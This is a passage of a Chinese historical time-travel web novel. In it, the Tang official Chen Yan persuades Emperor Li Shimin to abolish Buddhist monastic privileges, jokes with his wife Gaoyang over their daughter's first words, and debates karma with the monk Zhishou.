陈衍一字一句道:“那些因为寺庙兼并土地,失去生计的农户,他们的命,谁来救?” “你不要强词夺理!”萧瑀据理力争道,“我早就跟你说了,不必做得如此惨烈,我们大可以制定相应的制度来管理佛门。” “可你要灭佛,我当然不同意。” “我强词夺理?”陈衍轻嗤,“我真的是强词夺理吗?萧大人?” “你现在又说什么制定相应的制度来管理了,前面的时候你为何不说?” “是不是因为知晓我心意已决,说不过我,所以要退一步了?” “说你是个畜生,真是一点都没错啊!” 陈衍继续道:“萧大人,你说我年轻,不懂事。那我问你,你活了几十年,你懂什么?” “你懂你姐姐流落在外那么多年的心酸吗?” “你懂那些被你口中佛门欺压的百姓,跪在泥地里求雨的绝望吗?” “你不懂!” “你只知道念你的经,拜你的佛,然后站在朝堂上,用你那套‘慈悲’的大旗,拦着真正想做事的人!” 萧瑀的脸彻底白了。 那几个附和他的官员,这会儿已经有人悄悄往后挪了半步。 “够了!”一个老臣站了出来,是太子少师于志宁,“陈尚书,你言辞太过刻薄!萧大人纵有不是,那也是朝廷命官,你怎可如此折辱?” 陈衍看了他一眼,淡淡道:“于少师,我没折辱他,我只是在陈述事实。” “事实?”于志宁冷笑,“什么事实?你那些所谓证据,谁知道是真是假?佛门千年,泽被苍生,岂是你一个小辈能妄加评判的?” “千年?”陈衍笑了,“于少师,你今年高寿?” 于志宁一愣:“六十有三。” “六十三岁。”陈衍点点头,“你见过千年?你凭什么用‘千年’这两个字,来压那些活生生的百姓?” “你......” “于少师。”陈衍打断他,“我不跟你争,我就问你一句话,如果今天,陛下下旨,让你把家产充公,让你儿子孙子都去当和尚,你愿意吗?” 于志宁脸色一僵。 “你不愿意。”陈衍替他说了,“可你却愿意让那些百姓这么做,为什么?因为他们不是你,因为他们的死活,跟你没关系。” “因为他们跟你有利益牵扯,所以在明知道太子殿下都支持我灭佛的时候,你站了出来。” “是吗?” “陈衍!”于志宁气得胡子都翘起来,“你......你血口喷人!” 李承乾眼里蕴着怒火,显然是对于志宁的开口很不满意,但碍于身份,他不好说什么,更不好呵斥。 “我血口喷人?”陈衍讥笑道,“对,或许是我血口喷人,于少师是清白的,于大人是高义的,于大人跟萧大人一样,见不得众生疾苦!” “你们多高尚啊,张口黎民,闭口众生,笔动即天下万民,笔落即泽被苍生!” “就我们卑鄙,我们一言便要灭佛,一语便要造就动乱,牵连天下。” “可你们这么高尚,却为何一再否定佛门的肮脏?为何一定要阻拦我等?” “难道你们不清楚,在当今大唐,跨越阶级的最好方式,不是寒窗苦读数十载,然后金榜题名,而是剃度出家吗?” 陈衍平静道:“大道理,本官已经说累了,陛下也说了,这件事今天必须落定下来。” “佛,本官是一定要灭的。” “如果你们反对,本官不介意跟你们讲讲手中的‘理’!” “......” 第640章 国中之国 随着陈衍的话音落下,支持反佛的官员顿时坚定不移地出言附和,文臣武将加在一起,也达到了文武百官的三分之一。 但是,跟反对方比起来,陈衍这边的重量级人物实在太多。 几位宰相,陈衍这位户部尚书,还有其他几位六部尚书,诸多武将除了中立的,几乎全部在支持陈衍。 这让反对方感受到了莫大的压力,其中不少人已经升起了退缩之意。 明眼人已经看得出来,李世民恐怕也是想反佛的,陈衍那边的人又太过坚定,而他们一旦占不到优势,反佛就会变成大势。 逆势者,绝对没什么好下场。 不过,也有头铁的人坚定地反对,一直作为带头者的萧瑀自然不必多言。 上方,李世民眼看两边人又吵得不可开交,实在忍无可忍:“够了!” 一声呵斥,隐隐带着怒意,让朝堂上的争吵一下子安静了下来。 李世民站起身,慢慢走下来,走到陈衍面前,停下。 “为天地立心,为生民立命,为往圣继绝学,为万世开太平。” 他念了一遍,叹息道,“在这方面,你总是能惊艳到朕。” 陈衍低着头:“陛下谬赞了,臣只是有感而发。” “好一个有感而发。”李世民点点头,“好一个为万世开太平。” 他转过身,看向跪了一地的朝臣:“你们都听见了?” 没人敢说话。 “朕问你们,都听见了没有?” “臣等......听见了。” “听见了就好。”李世民背着手,慢慢走回御座,“萧瑀。” 萧瑀浑身一颤:“臣在。” “你姐姐的事,朕不管,那是你的家事,你不愿意为她求情,朕也懒得顺便帮你做个顺水人情。”李世民坐下来,目光如炬,“但你拿着佛门那套东西,在朕的朝堂上拦着想做实事的官员,朕不能不管。” 萧瑀脸色煞白:“陛下......” “别急,朕还没说完。”李世民摆摆手,“你说佛门泽被苍生,好,那朕问你贞观三年大旱,佛门捐了多少粮?” 萧瑀张了张嘴。 “贞观四年黄河、长江两岸洪灾爆发,佛门救了多少人?” 萧瑀额头冒汗。 “贞观二年,蝗虫漫天过境,啃食粮食,致使百姓颗粒无收,佛门开了几个粥棚?” 萧瑀跪在那里,一句话都说不出来。 “你不知道。”李世民替他说,“朕也不知道,因为佛门什么都没做。” “可朕知道,贞观三年大旱,是户部调了三十万石粮赈灾,贞观四年洪灾,是工部、是柴绍去修排水渠,安顿百姓。贞观二年蝗灾之后,又爆发大疫,是太医院的人,冒着被传染的风险,去疫区救人。” “做这些事的,不是佛门,是朕的朝廷,是朕的官员,是大唐的百姓!” 李世民的声音越来越大:“他们纳粮交税,供养着这个国家,供养着你们这些站着说话不腰疼的人!” “可你们呢?你们拿着他们交的税,吃着他们种的粮,然后回过头来,替那些什么都不做的佛门说话?!” “陛下息怒!” 满朝文武齐齐叩首。 李世民深吸一口气,平静下来,看着萧瑀:“萧瑀,朕现在之所以对你说这么多,不是因为你反对灭佛,是因为你眼里只有你的佛,没有大唐的百姓。” “朕已经给过你很多次机会了.......包括你姐姐的事,只要你开口,朕随时可以让你接她回家。” “可你都没有。” 萧瑀伏在地上,浑身颤抖。 “陈衍。” “臣在。” “灭佛的事,你打算怎么做?” 这句话一出口,在场不少人脸瞬间白了。 因为李世民表现出的态度已经很明显了。 陈衍抬起头,目光平静:“回陛下,臣不打算杀人,也不打算拆庙。” “哦?”李世民挑了挑眉,“那你打算怎么灭?” “在回答这个问题之前,我们首先要明白。”陈衍不急不缓道:“佛门之所以在我大唐无比昌盛,他们真的是被佛门的理念所打动吗?” “不是的,佛门之所以昌盛,最主要的原因就是因为他们拥有特权!” “他们可以免税,地位极高,不仅可以利用这点避税逃役,更能利用这点逃避兵役!” 李世民眼神一凝,在场不少人的神色都变了。 逃避兵役,这是陈衍之前从来没提过的。 魏征立即反应了过来,严肃道:“陛下,陈尚书的话有理,臣此前都没想到这点。” “佛门已经在开始影响我大唐根基了,他们不止避税逃役、免除兵役,更麻烦的是,寺庙有自己的僧团,有自己的规矩。” “从某种程度上来说,寺庙已经成了国中之国!” 最后一句话说出口,满朝哗然。 萧瑀面如死灰,知道自己已经输了,再无翻盘的可能。 “国中国.......”李世民咀嚼着三个字,呵呵笑了一声,“陈衍,你继续说,你想怎么办?” 陈衍点点头:“很简单,陛下,我们大可不必费心去杀什么人,毁什么佛经。” “我们只需要取消寺庙、僧侣的一切特权,让僧人变成普通的老百姓,他们自然而然会从内部瓦解。” “如此一来,什么问题都规避了。” “萧大人说的真大师......对他们并没什么影响,也不用咱们费心去安置什么僧侣。” “他们能活就活,活不了就死,就这么简单!” 听着陈衍的话,殿内一时沉默了下来。 而后,不断有人站出来附和。 不少人从陈衍的话里,隐隐猜到了一点别的东西。 王珪眉头紧锁,欲言又止,但看着李世民不经意间投来的目光,以及陈衍坚定的神情,还有众多支持的官员。 他最终只是微微叹息一声,摇摇头,什么都没说。 “这样......会不会太狠了?”于志宁犹豫着说了一句。 立马便遭到了李承乾的回怼:“哪里不好了?” “那些僧侣难道不是成年人?凭什么他们剃个头就能享受百姓的供奉?” “要孤说,陈尚书的话一点没错,取消他们的特权,今后一切都靠自己,能活就活,活不了就去死。” “.......” 第641章 天子犯法,与庶民同罪 “既然如此......” 李世民从旁边抽出一封奏折,“这是昨天户部韩侍郎提交上的,里面有不少僧侣的罪责,以及几个寺庙是如何兼并百姓的土地,放出高利贷的。” “这些人......又该如何处置?” “臣提议,无论这些僧侣怎么样,只要触犯律法,那么一律按照大唐律法处置。”韩仲良站出来说。 “哦?”李世民挑了挑眉,似笑非笑地看着陈衍,“这也是你的想法吗?” 陈衍对韩仲良挥挥手,示意他回去:“陛下,韩侍郎的话,臣是支持的,不过咱们首先要仔细彻查一下,拿出实质性的证据,免得有人怀疑咱们拿一份假的东西来污蔑僧侣。” “等查出具体的结果,拿到证据,那么立刻用‘大唐民报’刊登出去,让天下百姓看看他们信仰的佛门是什么德行。” “然后这些触犯律法的僧侣,咱们该抓的抓,该打的打,该杀的杀!” “不仅是大唐周边的寺庙,全大唐犯了法律的僧侣一个都不能放过。” 此言一出,不少人暗自心惊,却也觉得理所当然。 陈衍和李世民等人,明显打算开始动特权阶级了,这种事都做得出来,杀一些犯罪的僧侣算什么? 顶多是事情继续闹得大些罢了。 无伤大雅。 也有人暗自皱眉,不怎么赞成这样的办法,觉得太狠了。 杀长安周边犯罪的僧侣,用来震慑佛门就够了,如果全天下犯罪的僧侣全杀了,那人数估计少不到哪里去。 更何况,如今已经确定了要取消佛门一切特权,还如此大肆屠杀。 影响实在太大。 存在这种想法的人不少,连想反佛的人同样有部分人这样想。 然而,陈衍压根没给他们开口阻拦的机会,继续道:“先前,臣不过打了条狗,尚且要被关大理寺,受杖刑,削去爵位。” “天子犯法,还与庶民同罪,寺庙僧侣凭什么逃脱?” “此举不仅是清理掉佛门的蛀虫,更是要明明白白地告诉天下人,法律是不可触碰的红线。” “法不责众,这套理论在我们这里不管用!” 这番话说下来,那些想开口阻止的人也打消了开口的心思。 陈衍话都说到了这个份上,天子犯法,与庶民同罪都出来了,更是拿着自己举例,他们还能说什么? 总不能说僧侣比陈衍、比李世民还地位高吧? 他们都能受罚,凭什么僧侣不行? 李世民微微颔首,扭头看向魏征等人:“你们认为呢?” 魏征沉吟道:“臣支持陈尚书的想法,先贤更说过,欲攘外,必先安内。” “不管是为了应对今后的边境压力,还是要打造出贞观之治,甚至贞观盛世,这些蛀虫是一定不能留的。” “秩序,更是一定要遵守的。” “律法存在的原因,本就是维持秩序,然而如果有人可以随意践踏律法,违背秩序,那么我们设定律法还有什么意义?” “臣附议,犯罪者,一切按照律法处置!” “好!”李世民瞥了眼事不关己的王珪,心里一块大石头落地,又拿出了一封文书,“证据,朕这两天已经调查清楚了,刑部的人,该抓就抓吧!” “戴胄。” “臣在。” “朕命你拿着户部韩侍郎提交上的调查结果,与朕派人找到的证据相互印证,最晚两日之后,朕要看到佛门的所作所为,刊登在‘大唐民报’上。” “臣,遵旨。” 李世民站起身,面向众臣,冷声道:“有关灭佛一事,就这么决定了,朕会即刻下旨,取消佛门寺庙的一切特权,此事就这么决定了!” “退朝!” “臣等......恭送陛下。” “.......” “子安。” 走出太极殿,秦琼找到陈衍,直言道:“我在渭南县还有事,需要尽快回去。” “你这次办得不错,只是后续影响太大.......你自己悠着点,有事第一时间传信给我。” “好。”陈衍含笑点头,“秦伯伯您忙就行,不用管我,我心里有数。” “实在不行,我又跑到东宫住几天。” 秦琼闻言嘴角一抽,无奈一笑,拍了拍陈衍的肩膀,什么都没说,离开了。 “陈小子,你为什么对老秦一口一个伯伯,一口一个您?对俺们就是老黑呢?” 尉迟恭不爽了。 陈衍白了他一眼:“你还好意思说?” “叫你们老黑,不是你们自己要求的吗?” “再说了,你忘了我小的时候,你们俩怎么捉弄我的了?” “行行行,你别跟他叭叭。”程咬金看尉迟恭还想说什么,一把拉住了他,“你能说得过这小子?” “快拉倒吧,回去了。” 尉迟恭小声嘟囔了一句,心里清楚,今日陈衍恐怕很忙,倒也没说什么,跟着程咬金走了。 陈衍笑吟吟地看着他们离开,自己倒不急着走。 他估计很快就有人来找自己了。 只是......让他意外的是,这些人不是杜如晦等人,而是一个让他意外的人。 “萧大人?” 萧瑀长叹道:“你赢了。” “我没想到,你竟然是冲着.......特权去的。” 最后一句话,他说得很小声,说完之后苦涩道:“如果早知道这一点,我恐怕不会这么坚定地阻止你。” “你们的目标根本就不是佛门,佛门只是一个引子罢了。” “我真傻,真的。” 陈衍听完,侧头道:“我有一件事想不明白,你能回答我吗?” “你说。” “你为何那么坚定地阻止我?真的只是因为跟佛门有太多利益牵扯吗?” 萧瑀沉默了。 陈衍等待了一会儿,见他依旧不回答,就知道萧瑀不会回答了:“萧大人,你英明了一世,糊涂了一时啊。” “嗯。”萧瑀自嘲道:“也许,只是因为我这一时糊涂,便会葬送我一世。” “时也,命也。” “我不如你啊。” 说着,他抬脚准备离开,陈衍随口问了一句:“萧大人这是打算去哪里?” 萧瑀脚步顿了顿,低声道:“.......去接我姐姐回家!” “.......” 第642章 四月 “有点意思。” 陈衍望着萧瑀离去的背影,轻轻笑了声。 还是那句话,除了立场上面的不同,他跟萧瑀实际上没什么冲突。 不过朝堂上就是这样。 这段时间以来,他看似跟杜如晦他们目标一致,然而私底下其实一样没少吵。 只是没有这么凶而已。 “子安。”这时,房玄龄等人走过来。 长孙无忌用下巴点了点:“走吧,趁着今日大家都在,不如一起走走?” “好啊。”陈衍欣然答应下来,几人慢慢朝外走去。 杜如晦啧啧道:“我本以为,你说要动特权的那一刻,很多人会坐不住,大戏才刚刚开场。” “没想到竟然没人跳出来反驳,世家都沉默了。” “我并不认为他们不清楚我们想做什么,这次的沉默,让我意外得很啊。” 魏征道:“他们除了沉默还能做什么?你想的太多了,我早就说过,经过一件件事,我们的势已经快蓄起来了,他们即便站出来,一样拦不住我们。” “谁都清楚,佛门只是一个引子,一个被摆在台面上的牺牲品。” “动一个佛门的特权,尚且还在大家能接受的范围之内。” “陈衍不断强调‘大唐民报’,不就是在警告这些人吗?他们不敢动的。” 房玄龄乐呵呵道:“该说不说,子安,你这大理寺狱进得值,此事一旦落定下来,咱们大唐又少了个毒瘤。” “不过......相应的,咱们就只能一条路走到黑了。” 众人闻言,面面相觑,随即纷纷笑了起来。 陈衍感叹道:“一条路走到黑,就一条路走到黑吧,反正已经这样了,再也回不了头了。” “你们以后可得罩着我点啊。” 杜如晦满头黑线:“我们罩着你?现在轮到你罩着我们还差不多。” “你看看自你上任以来,你都搞出多少事了?” “一桩桩,一件件,咱们户部尚书大人,可谓是出尽了风头,我们哪里能罩得住你啊。” “嗯!”房玄龄深以为然,“别的不说,我记得戴胄在位的时间算不上短,但他担任户部尚书那两年,都没你这一个月搞的事多。” “现在全长安,谁不知道你陈衍的威名?” “你的头衔,都快比我们命都长了。” “什么渭南伯、白虎圣使、户部尚书、陈载......” “行行行,别说了,别说了。”陈衍听到后面两个字就头疼,“别提什么陈载酒了,爷们要脸!” “哈哈哈哈。” 几人顿时乐了。 陈衍吃瘪的样子可不多见了,但一个陈载酒的名号,就够他们笑陈衍好几年了。 长孙无忌补充道:“现在应该又要加上几个了,陈立心?陈立命?陈绝学.......或者,陈太平啊?” 陈衍:“.......” “得,我不跟你们扯了,我要回家吃饭了,你们自己走吧。” 他实在受不了,黑着脸,快步离开了。 杜如晦等人的笑声顿时更大了。 “陈载酒,不如去我家啊,我杀牛给你吃。” “吃个屁,我不吃牛肉!” “哈哈哈哈哈!” “......” 当天,李世民说到做到,刑部的人直接冲进寺庙,抓走了不少僧侣。 这立刻在长安城引起了不少的非议,很多人不明白为什么好端端,刑部的人要抓寺庙的人。 直到两天之后,‘大唐民报’直接把这段时间的事刊登了出来,包括陈衍等人为什么要反佛,寺庙的僧尼都干了什么肮脏事。 更令人震撼的是,一道圣旨从宫中发出,‘大唐民报’同步刊登。 佛门的一切特权都被取消了,今后的僧尼,只是一个普通老百姓,需要交税、服役。 当天,整个长安城瞬间炸开了锅。 有人拍手叫好,有人义愤填膺,也有人对此持有反对态度,认为朝堂做得太过分了。 不过这类言论一旦出来,便立刻被旁人怒怼了回去。 大家都是老百姓,凭什么你剃个头就不用交税,不用服兵役了? 若是你寒窗苦读数十载,考上功名,不用交税、服兵役也就罢了。 毕竟你能考上功名,金榜题名,那是你自己的本事,你拥有特权,大家都服你。 寺庙的僧尼凭什么啊? 长安城顿时吵得不可开交,引起了不少的议论。 不过这些都是毫无意义的,因为朝廷已经决定下来,李世民圣旨已经发出,‘大唐民报’已经昭告天下。 事情彻底尘埃落定,再无回旋的可能。 而作为这一切的始作俑者,户部尚书陈衍,却对外面的一切议论漠不关心。 每天上朝下朝,处理完公务,便回家里陪陪自己的妻女,以及两个能气死人的小公主。 日子好不快活。 时间就这么慢慢过去,很快,便到了四月份。 “呵呵,今天咱们小岁安一岁咯。” 陈衍乐呵呵地抱着女儿,笑得很开心。 小岁安脑袋埋在陈衍脖间,脸蛋肉嘟嘟的,身上带着奶香气,小嘴乐得合不拢,一个劲喊着爹。 只是有些吐字不清就是了。 高阳在一旁嫉妒道:“一岁了,我含辛茹苦照顾她,半夜起床喂奶,伺候她,辛辛苦苦一年下来,她到现在还没叫过我一句娘。” “凭什么啊?” 陈衍挑眉道:“你不用羡慕,咱闺女确实没叫过你娘,但你没少叫她呀。” “对不对,乖女儿?” “昂~”小岁安依然有些听不懂话,只是陈衍一开口,她就乐呵呵地应着。 高阳:“......” “小岁安,叫姑姑。”兕子突然冒出来,一脸期待地看着陈衍怀里的小奶团子。 高阳无语道:“你怎么又变成姑姑了?合着你就认自己是你阿兄的妹妹,不认我是你姐姐了?” “再说了,小岁安连娘都不会叫,她怎么可能叫你姑姑?” 陈衍不置可否,蹲下身子,让小岁安看着兕子:“来,乖女儿,叫姑姑。” 小家伙看了看陈衍,又看了看兕子,眨眨眼,软软糯糯道:“嘟嘟?” 兕子:!!! 高阳:??? “阿姐,你听,你快听,小岁安叫我姑姑啦,她会叫我姑姑哎!” “.......闭嘴!” “.......” 第643章 如今重来一世,你还记得我吗? “哈哈哈哈。” 陈衍这下真的是乐了,因为高阳要被气死了,正在无能狂怒。 抓住他的手臂使劲捶着:“凭什么,凭什么啊!” “凭什么不叫我娘亲啊!” 高阳真的要气疯了。 陈衍就算了,毕竟是孩子亲爹,她尽管有些羡慕,可实际上还是能接受的。 可现在是什么情况? 辛辛苦苦养了一年的女儿,娘亲都没叫过一声,就会叫姑姑了? 用陈衍的话来说,我是小丑? 高阳脑海中不禁浮现出这样的念头,涨红了脸,挥着拳头砸陈衍。 陈衍自己没当回事,反正又不疼,笑呵呵地承受下来,显然心情很不错。 可小岁安不乐意了呀,亲爹被打,那怎么能行? 伸着小手,咿咿呀呀地去拦高阳,显然是急了。 殊不知,这样的动作,再度给高阳带来了巨大的伤害。 “你们一个两个的,都不把我当回事对吧?你们还是人吗?良心呢?这么久以来的感情呢?你们就这么对我?”高阳哇哇喊着,像是要哭出来一样。 说真的,她这辈子都没受过这种委屈,当初陈衍打她的时候,都没这么生气过。 陈衍笑得更大声了,兕子也乐了。 小岁安不懂,但看陈衍和小姑姑都笑了,也跟着乐呵起来。 高阳血压一阵飙升,哭诉道:“你们还欺负我,陈衍,你还是人吗?” “你摸摸你的良心问问自己,我李昭棠自从嫁给你以来,可有哪点对不起你?” “操持家里,生儿育女,时不时还得在外面帮你一些忙。” “是,我是在家里蛮横了点,总叫你小衍子,可我到外面,旁人用你以前欺负我来打趣,我总跟她们说我夫君可是绝无仅有的才子,年仅二十岁的户部尚书。” “我有哪里对不起你吗?你为什么老是欺负我?” “你欺负也就罢了,为什么生个女儿还欺负我?” “我欠你们姓陈的吗?” 陈衍一怔,沉吟道:“说不好啊,太史令不是说了吗?咱们是上天注定的姻缘,上辈子搞不好你还真欠我的,这辈子还债来了。” 高阳:“.......” “混蛋!” 她擦了擦眼角的眼泪,怒道:“那我不管你们了,不管什么债,我现在总还清了吧?” “既然这个家容不下我,那我走。” “.......” 高阳本以为陈衍开开玩笑就得了,自己都抛下狠话,还跑了出去,按照她对陈衍的了解,是时候该跟自己说说软话了。 只是没想到,陈衍这王八蛋真没拦着她。 高阳越想越气,握着拳头跑回去,就看到陈衍和小兕子正高高兴兴地逗弄小岁安,心里的火顿时冒出来了。 “王八蛋,你是死了吗?没听见我要走了?就不知道拦我一下啊?” “你良心被狗吃啦?” 陈衍觉得好笑,把女儿塞进她怀里:“行啦,别生气啦,谁让你那么着急的,在女儿那么小的时候就娘亲娘亲地叫。” “她才一岁,能懂什么?” “你自己教坏了,害得她现在听见娘亲这两个字就知道应。” “你能怨我们吗?” 高阳语塞。 按照这种说法,自己确实有些太着急了,导致女儿压根没学好。 可转瞬间,她便反应了过来:“你别想转移话题,我没跟你说这件事,现在的问题是,你刚刚为什么不拦着我?” “我说我要走了,你耳聋了吗?” 陈衍淡淡笑了笑,稍稍俯身,捏了捏高阳因为生气而变红的脸,轻声问:“那.......你真的会走吗?” 高阳:“.......” 听到这句话,以及被陈衍捏着脸蛋的异样感,她一下子说不出话了。 心里的火气瞬间消了大半。 她就是这样一个人,吃软不吃硬。 “呦呦呦,嘴硬姐又被拿捏住了呢。”兕子看热闹不嫌事大,“阿兄,你这招有点狠了,我感觉嘴硬姐脑袋要冒烟了。” “瞎说什么大实话呢。”陈衍拍了拍兕子的脑袋,“去去去,找你城阳阿姐玩去,别在这里捣乱。” 兕子撇撇嘴,“走就走,我还不乐意跟你们玩呢,一个嘴硬姐,一个大渣男,哼!” 高阳忍着羞耻感,微微仰着下巴:“别以为你说句好听的话我就会放过你,刚刚的事我起码记你一年。” 陈衍翘了翘嘴角,眉目中透露出一丝愉悦,用下巴轻轻点了点高阳怀里的小岁安:“你要不看看女儿?” 高阳一愣,微微扭头,就见到女儿正侧着脑袋,微微眯着眼,眼含笑意地看着她。 当母女俩对视上的那一刻,不知为何,高阳的心莫名被触动了一下。 陈衍在一旁夹着嗓子,为女儿配音:“我亲爱的阿娘,上辈子我叫了你一辈子的娘亲,如今重来一世,你还记得我吗?” 高阳:“......” 她被陈衍逗笑了,笑着笑着,心就软了下来。 高阳张了张嘴,嘟囔道:“狗屁的重来一世,如果真的有上一世,那也是你们父女俩欠我的。” “对对对,你说的对。”陈衍不跟高阳争辩,就温和地看着她。 高阳最受不了这种目光,她宁愿陈衍打自己一顿。 每次陈衍用这种目光看着她,她就感觉浑身刺挠。 “算了,我不跟你扯了,我走了。” 说着,她抱着女儿转身离开。 陈衍啧了一声,实在觉得有趣。 “少爷。” 这时,青儿走了进来。 “什么事?” “无舌公公来了,已经来了有一会儿,我看你跟公主殿下.......所以就没打扰你们。” 无舌来了? 陈衍微微皱眉。 作为李世民的贴身太监,如果没什么重要的事,一般是不会出现的。 “行,他现在在哪?我过去看看。” “对了,他有说来是什么目的吗?” 青儿回道:“说是要请您进宫一趟,有一位客人想见您一面。” “客人?”陈衍挑眉,内心疑惑。 既然是无舌前来,肯定是李世民的意思。 那位客人首先找的是李世民,然后拜托李世民来找他。 绕了这么大个圈子,这客人的来头....... 恐怕不小啊。 “.......” 第644章 蝴蝶振翅,一念换天 “伯爷,到了。” 甘露殿前,无舌小声道:“今天这位客人有点特殊,伯爷......您悠着点。” 陈衍眯了眯眼,盯着他:“公公,咱们相识这么久了,你稍微透露一下,到底是什么客人?” “还有,什么叫我悠着点?” 无舌迟疑了一下,压低声音道:“是智首律师。” “智首律师?”陈衍懵了一下,“这是个什么东西?” 无舌:“......” 他急忙解释道:“智首律师是佛门的一位大师,是南山律宗创始人道宣律师的授戒师父。” “咱们的《四分律》,被推为律学正宗,在大唐影响甚大。” “更重要的是,陛下曾亲自前往智首律师的道场,并敕令他为皇后殿下传授戒法。” “智首律师,是佛门举足轻重的人物.......” “噢~”陈衍恍然,“原来是佛门啊。” 说完,他叹了口气,“我就说这事的后续影响还没有停止,这又被找上门来了。” “我可真是命苦,明明干的是好事,结果被关、被打屁股、被削去爵位,什么好处没捞到不说,现在麻烦还一件接着一件。” “真是造孽啊。” 无舌嘴唇动了动,轻声道:“伯爷,这次智首律师是从很远的地方专门赶过来的,而且他年纪大了,您......悠着点哈。” 陈衍翻了个白眼,“你这话说的,好像我是什么十恶不赦的人一样,动不动就拿板砖拍人。” “我也是讲道理的好不好?” “除非对面不听我讲道理,我才会跟对方讲手中的理。” 说完,他叹了口气,无所谓道:“算了,都到这里了,而且你都来请我了,今天这一面,肯定是要见的。” “走吧,我们进去看看,这智首律师怎么个事儿。” 禀报过后,陈衍踏入殿内。 首先看到的,便是位于首位的李世民。 右下方坐着一位精瘦、身上莫名散发着一丝威严且手中捏着一串佛珠的老和尚。 “子安,你来啦?坐吧。”李世民见他进来,指了指自己左边的位置。 听到他的话,智首律师睁开了眼,目光深邃地看向陈衍。 陈衍无视他的目光,毫不客气地坐下来,然后才说道:“陛下,听您说,今日有一位重要的客人找我,客人呢?” “在哪里?” 李世民:“.......” 那么大个人,你是瞅不着吗? “呵呵......久闻陈尚书才华盖世,乃是一位风华正茂的少年郎,如今一见,果然名不虚传。”智首律师并未因陈衍的话恼怒,语气感慨: “很难相信,您就是说出为天地立心,为生民立命,这等志气冲天的人。” “不过,今日见到您,老衲忽然又能理解了.......少年心气,比之天高啊!” 陈衍没想到这老和尚这么沉得住气,面对自己这个即将毁灭佛门,甚至要杀无数僧侣的仇人,还能真心实意地赞扬。 他当即明白,这是一个很难缠的对手,对方的心境恐怕很高,不会轻易动怒。 所以陈衍立即转变了态度,笑吟吟道:“不知您是?” “老衲智首。” “原来是智首大师。”陈衍故作恍然,随即直言道:“大师今日前来,也是想为佛门出头?” 此言一出,智首律师沉默了。 他没想到陈衍这么直接。 李世民饶有兴趣地听着两人交谈,没有插话的意思。 智首微微摇头:“佛门、寺庙、以及大部分僧侣是什么样,老衲恐怕在某些地方比您更清楚。” “老衲并不反对您的做法,今日来,更不是为了替佛门出头。” “因为在老衲看来,现在的佛门看似昌盛,实则真正领悟到佛门真意的,没有几个人。” “这样的昌盛,终有一天会带来滔天血祸。” 陈衍诧异道:“既然不是为了佛门出头,大师找我是为何?” 智首捏着佛珠,微微沉吟,问出了一句让两人意外的话:“不知陈尚书,可相信因果?” “因果?”陈衍低笑一声,“有所耳闻,世间之事,一啄一饮皆有定数,种什么因,便得什么果。” “从浅层次上来说,就是善恶终有报。” “不过,我听说你们佛门自己对于因果都很有争议,智首大师,你自己跟不少佛门大师对因果的理解都不同。” “对于这方面的了解,想必也远胜于我,为何想来问我呢?” “还是说......你想用因果说,来告知我什么?” 智首律师轻轻摇头:“老衲并没有其他意思,就像陈尚书所说,我们佛门对于因果的争议同样很大。” “作为律学的钻研者,老衲一直跟学生强调,在受戒时,需在内心形成‘戒体’,种下防非止恶的因。” “然而,这种‘戒体’,本身就是一种‘无作的因果’。” 陈衍点点头,“我能理解大师的意思,例如你持戒,就在当下和未来种下解脱的因,而不只是求来世福报?” “陈尚书高见,老衲正是这个意思。” “所以.......你问我因果的用意在哪里?我并不是你们佛门中人,更不信佛或者道。” 智首律师沉默片刻,闭着眼道:“说真心话,您对佛门采取的措施,老衲并不怨您,相反,老衲很感激您。” “特权虽好,可对于佛门来说,却如同一道道枷锁和诱惑,不断引诱旁人加入佛门,又将所有佛门子弟困在里面。” “如今,你的提议如同一刀,帮佛门斩去了这些枷锁与诱惑。” “老衲真心感谢您!” “但也不得不提醒你,您的做法,种下了大因,不止跟佛门牵扯极深,甚至还牵连着天下众生,未来能收获什么果.......并不好说。” 听到这句话,陈衍和李世民的神色同时沉了一下。 陈衍仔细琢磨了一下智首的话,相信他没有说谎,忽然笑了: “智首大师,我方才说的因果说,其实都是你们佛门的说法,我对因果有一些自己的理解,你愿意听听吗?” “愿闻其详。” “你以为因果是你一拳我一拳?殊不知真正的因果,是蝴蝶振翅,一念换天!!” “......” 第645章 大势 智首听到陈衍的话,半晌无言。 说真的,作为佛门的大师,他对因果的钻研很深,可从来没有一个人这样跟他说过因果,他也从未往这方面想过。 可只要仔细想想,再回想起历史上种种事迹,智首不由沉默了。 他不得不承认,陈衍这种说法真的很有道理,给他带来了莫大的震撼。 同时,智首也明白了陈衍的决定。 那是一种不成功便成仁的莫大决心。 智首由衷敬佩道:“来这里之前,我认真打听过您为官以来的所作所为,或许因为老衲地位不够的原因,老衲知晓的并不多。” “可老衲曾在渭南县走过,看过那里的人情,窥一角,而猜全貌。” “您有大志气,亦不缺少大决心。” “老衲希望,您有一天真的能实现自己的抱负,改天换地,给这个时代带来更多美好的东西。” 陈衍深深看了眼智首,微微颔首:“承大师吉言,人生如旅途,我亦是行人。” “我不敢保证什么,只能说,在这条路上,我会一直走下去。” “或许有一天我会走到终点,也可能我会倒在路上......我的意思是,在我倒下之前,我不会停止自己的脚步。” “善。”智首欣慰一笑,微微低下了头,“陛下,老衲已经听到了想听的话,见完了想见的人。” “此去离别,恐再无相见机会。” “望陛下圣安。” “大师,朕送送你。”李世民听出了智首的意思,想起身送别,却被后者摇头制止:“不用了,陛下,老衲孑然一身,没什么好送的了。” “老衲就此告退了。” 话落,智首站起来,对着李世民一礼,而后又朝陈衍一礼,缓缓离开了。 李世民和陈衍目送他离去,渐渐消失在殿内,谁都没有开口说话。 直到智首走远,彻底看不见背影,李世民说:“开始的时候,朕也以为他是来为佛门出头的。” “那看来陛下错了。”陈衍笑道。 李世民微怔,没好气地瞥了他一眼:“你看看这满朝文武,后宫上下,天下万民,除了你之外,还有没有人敢说朕错了?” “看来二十大板,没有把你打疼啊!” 听到这话,陈衍当即黑了脸:“陛下,不是我说,这件事我真的是冤枉的,都是你那个好女儿。” “不仅骗过了兕子和太上皇,还把我们都坑进去了,我根本不知情啊。” 李世民:“什么叫朕的好女儿?那不是你的好妻子吗?” “都说夫唱妇随,朕不信这里面就没有你一点影响。” “天地良心啊!”陈衍嚷嚷道:“高阳什么性子您不清楚吗?她心都是黑的,一有机会就把我们往死里整,我也是受害者啊。” “算了算了。”李世民嫌弃道:“朕不想跟你扯这些。” “走,随朕出去走走。” 说完,他没给陈衍拒绝的机会,直接迈步往外面走去。 陈衍无奈,只好跟上。 虽然不知道李世民要干什么,但每次这样,无非是感叹一下人生,或者又说自己老了云云。 跟出去的时候,陈衍已经做好了心理准备。 只是,他这次好像说错了。 